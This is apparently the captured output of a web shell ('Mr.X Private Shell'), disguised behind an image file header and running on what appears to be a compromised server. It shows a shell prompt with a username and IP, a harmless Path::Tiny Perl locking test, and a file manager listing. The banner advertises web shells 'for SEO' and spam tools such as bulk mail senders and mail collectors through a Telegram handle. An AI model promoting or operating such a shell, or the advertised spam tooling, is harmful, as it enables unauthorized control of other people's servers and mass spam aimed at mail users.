����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

deexcl@216.73.217.71: ~ $ 
use 5.008001;
use strict;
use warnings;
use Test::More 0.96;
use File::Spec;
use Cwd;

use lib 't/lib';
use TestUtils qw/exception/;

use Fcntl ':flock';
use Path::Tiny;

{
    # is temp partition lockable?
    my $file = Path::Tiny->tempfile;
    open my $fh, ">>", $file;
    flock $fh, LOCK_EX
      or plan skip_all => "Can't lock tempfiles on this OS/filesystem";
}

# Guard against external environment
local $ENV{PERL_PATH_TINY_NO_FLOCK} = 0;

subtest 'write locks blocks read lock' => sub {
    my $rc = check_flock();
    is( $rc >> 8, 0, "subprocess failed to get lock" );
};

subtest 'flock ignored if PERL_PATH_TINY_NO_FLOCK=1' => sub {
    local $ENV{PERL_PATH_TINY_NO_FLOCK} = 1;
    my $rc = check_flock();
    is( $rc >> 8, 1, "subprocess managed to get lock" );
};

sub check_flock {
    my $file = Path::Tiny->tempfile;
    ok $file, "Got a tempfile";
    my $fh = $file->openw( { locked => 1 } );
    ok $fh, "Opened file for writing with lock";
    $fh->autoflush(1);
    print {$fh} "hello";
    # check if a different process can get a lock; use RW mode for AIX
    my $locktester = Path::Tiny->tempfile;
    $locktester->spew(<<"HERE");
use strict;
use warnings;
use Fcntl ':flock';
open my \$fh, "+<", "$file";
exit flock( \$fh, LOCK_SH|LOCK_NB );
HERE
    my $rc = system( $^X, $locktester );
    isnt( $rc, -1, "ran process to try to get lock" );
    return $rc;
}

done_testing;

Filemanager

DIR : / home/ .cpan/ build/ Path-Tiny-0.150-0/ t/
Name Type Size Permission Actions
data Folder 0755
fakelib Folder 0755
lib Folder 0755
00-report-prereqs.dd File 4.52 KB 0644
00-report-prereqs.t File 5.88 KB 0644
README File 214 B 0644
basename.t File 880 B 0644
basic.t File 9.06 KB 0644
children.t File 1.24 KB 0644
chmod.t File 1020 B 0644
digest.t File 1.25 KB 0644
exception.t File 1.26 KB 0644
exports.t File 674 B 0644
filesystem.t File 14.21 KB 0644
has_same_bytes.t File 2.04 KB 0644
input_output.t File 18.31 KB 0644
input_output_no_PU_UU.t File 579 B 0644
input_output_no_UU.t File 566 B 0644
locking.t File 1.37 KB 0644
mkdir.t File 1.52 KB 0644
mkpath.t File 1.46 KB 0644
mutable_tree_while_iterating.t File 1.43 KB 0644
normalize.t File 898 B 0644
overloading.t File 534 B 0644
parent.t File 3.06 KB 0644
recurse.t File 3.89 KB 0644
rel-abs.t File 7.88 KB 0644
sig_die.t File 533 B 0644
size.t File 4.76 KB 0644
subsumes.t File 3.16 KB 0644
symlinks.t File 1.51 KB 0644
temp.t File 4.99 KB 0644
visit.t File 447 B 0644
zz-atomic.t File 922 B 0644
zzz-spec.t File 6.62 KB 0644